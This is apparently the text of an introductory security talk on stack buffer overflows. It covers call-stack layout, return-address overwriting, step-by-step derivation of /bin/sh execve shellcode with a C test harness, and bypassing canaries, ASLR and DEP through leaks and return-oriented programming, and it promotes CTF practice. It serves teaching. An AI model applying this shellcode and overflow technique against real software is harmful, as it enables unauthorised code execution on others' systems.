Software to the Slaughter Shane Wilton
Jun 23, 2015
Software to the SlaughterShane Wilton
Who am I?
TL;DR I hack stuff.
Agenda
1. Anatomy of a stack2. Smashing it3. Real (wo)men program
in shellcode4. Canaries, DEP, and
ASLR, oh my!5. Hack the planet.
WTF is a stack?!?
● Three types of memory regions:a. Text
Program code, read-onlyb. Data
Static variables The heap
c. Stack Where the magic happens
Data Structures 101 - Stacks
● An abstract data type with two operationso PUSH - Adds an element to the start of a collectiono POP - Removes an element from the end of a
collection● Last-In-First-Out
o Imagine a stack of paper
...and that’s useful because?
● Used to implement functions at a low-level
● Returning from procedures, passing arguments, etc
Calling a Function
void foo(int a, int b) {char buffer[10]; } void main() {foo(1, 2); }
● Push the arguments onto the stack, in reverse order
● Push the instruction pointer onto the stack
● Allocate space for the variables in foo
Calling a Function
pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp
SP
Heap
Calling a Function
pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp
2
SP
Heap
Calling a Function
pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp
2
1
SP
Heap
Calling a Function
pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp
2
1
Return Address (EIP)
SP
Heap
Calling a Function
pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp
2
1
Return Address (EIP)
Old Frame Pointer (EBP)
SP
Heap
Calling a Function
pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp
2
1
Return Address (EIP)
Old Frame Pointer (EBP)
SP and FP
Heap
Calling a Function
pushl $2 pushl $1 call func … pushl %ebp movl %esp, %ebp subl $12, %esp
2
1
Return Address (EIP)
Old Frame Pointer (EBP)
FP
12-Byte Buffer
SP
Heap
Returning From a Function
1. POP the old frame pointer off FP
2. Set SP to thisvalue
3. POP the returnaddress off thestack
4. Jump to this address
2
1
Return Address (EIP)
Old Frame Pointer (EBP)
FP
12-Byte Buffer
SP
Heap
What does this mean?
● If unchecked, the buffer can overrun into the rest of the stack!
● Buffer overflow attacko Overwrite return addresso Overwrite local variableso Own the system.
● What if we fill the buffer with: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA….
Segmentation Fault!
2
1
Return Address (EIP)
Old Frame Pointer (EBP)
12-Byte Buffer
Heap
0x41414141
0x41414141
0x41414141
0x41414141
0x414141410x414141410x41414141
Heap
Returning Fr- wait what?
void bar() {printf(“Hack the North!”);
}void foo(int a, int b) {
char buffer[10]; int *ret;ret = buffer + 12;(*ret) = &bar;}
● foo overwrites an address after the buffer to point to bar
● We just overwrote foo’s return address!
● An attacker can use this for evil.o Assume the buffer is
filled with unchecked user input
Shellcode, or How I learned to Stop Worrying and Love the Compiler
● By overwriting the return address, we can run any code in the programo What if the code we want isn’t in the program?o Add it! Put our code in the buffer, and jump to it
● We need bytecode that will spawn a shell - shellcode!
Putting the ‘C” in Shellcode
#include <stdio.h>
void main() { char *name[2];
name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL);}
$ gcc -o shellcode -ggdb -static shellcode.c$ gdb shellcode$ disassemble main0x8000130 <main>: pushl %ebp0x8000131 <main+1>: movl %esp,%ebp0x8000133 <main+3>: subl $0x8,%esp0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)0x8000144 <main+20>: pushl $0x00x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax0x8000149 <main+25>: pushl %eax0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax0x800014d <main+29>: pushl %eax0x800014e <main+30>: call 0x80002bc <__execve>0x8000153 <main+35>: addl $0xc,%esp0x8000156 <main+38>: movl %ebp,%esp0x8000158 <main+40>: popl %ebp0x8000159 <main+41>: ret
WTF does that mean?0x8000130 <main>: pushl %ebp0x8000131 <main+1>: movl %esp,%ebp0x8000133 <main+3>: subl $0x8,%esp0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)0x8000144 <main+20>: pushl $0x00x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax0x8000149 <main+25>: pushl %eax0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax0x800014d <main+29>: pushl %eax0x800014e <main+30>: call 0x80002bc <__execve>0x8000153 <main+35>: addl $0xc,%esp0x8000156 <main+38>: movl %ebp,%esp0x8000158 <main+40>: popl %ebp0x8000159 <main+41>: ret
0x8000130 <main>: Save the frame pointer0x8000131 <main+1>: Move the stack pointer0x8000133 <main+3>: Allocate space for the ‘name’ buffer 0x8000136 <main+6>: Copy the address of “/bin/sh” into the buffer0x800013d <main+13>: Copy NULL into the buffer0x8000144 <main+20>: Push NULL onto the stack0x8000146 <main+22>: Load the address of our buffer into EAX0x8000149 <main+25>: Push that address onto the stack0x800014a <main+26>: Load the address of ‘/bin/sh’ into EAX0x800014d <main+29>: Push that address onto the stack0x800014e <main+30>: Call execve
And now for execve...
● Disassemble execve too● Not going to show it here, but go through the same
process.● We need…
o EAX = 0xBo ECX points to “/bin/sh”o EDX points to NULL
● Then call “int $0x80”
Let’s write that in assembly...
jmp 0x2a popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx
leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 .string \"/bin/sh\"
● Compile this with NASM, and grab the hexadecimal representation…
● \xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00… etc
● Watch this.
Shellcoder? I hardly know her!
char shellcode[] = <our shellcode>;
void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode;}
shane $ gcc -o sc sc.cshane $ ./sc$ exitshane $
Putting It Together
● Find a buffer overflow
● Find a way of exploiting it
● Fill some buffer with shellcode
● Use your overflow to jump to it
It’s not that easy.
● Nowadays, operating systems are smarter than that● Shellcode restrictions
o No NULL bytes allowedo Only alphanumeric characters, etc
● Stack Canaries● Address Space Layout Randomization● Data Execution Prevention● We can defeat all of these methods.
Stack Canaries
● Essentially checksums● Placed after a buffer
o Overflowing the buffer will overwrite the canaryo If the canary is wrong, handle the overflow
● Generated by the compiler.● Use another exploit to leak memory
o printf format string exploits for example
ASLR
● At runtime, randomize the positions of important memory regionso The stack, the heap, data segment, etc
● Like stack canaries, need a memory leak to bypasso Leak the address of a buffero Create a NOP-sled and guesso Plenty of techniques
Data Execution Prevention
● Mark memory segments as either writable or executableo Never both!
● We can’t put our shellcode on the stack anymore.
● Use return-oriented programming
Return-Oriented Programming
● Construct our payload entirely of “Gadgets” found in the existing codeso Sub-sequences of assembly found at the end of
existing functions● Chain them together by overwriting return
addresses on the stack● Always possible!*
Nothing is Safe.
● Exploit development is hard.o Really hard.o Target architectures you’ve never used beforeo Fail cleanly to avoid detection
● But!o No protection is infallibleo It’s fun. Like, really fun. More on this later.
You Can (and should) do it!
● Capture the Flag - competitive hackingo The hackathons of securityo There’s always one going on
CSAW is running right now, it’s for college students with no security experience
● Incredibly fun problems.o For example...
Polyglot
● Write an exploit that will run on four machineso x86o ARM Little-Endiano ARM Big-Endiano PowerPC
● Insane implications for the internet of things
● Read my talk on solving it with graph theory
Getting Started
● Micro Corruption - a 20 problem CTF built by Square and Matasano Security for teaching exploit development
● Compete! Right now! Seriously, this weekend!o CSAW - You can solve some of these, I promise.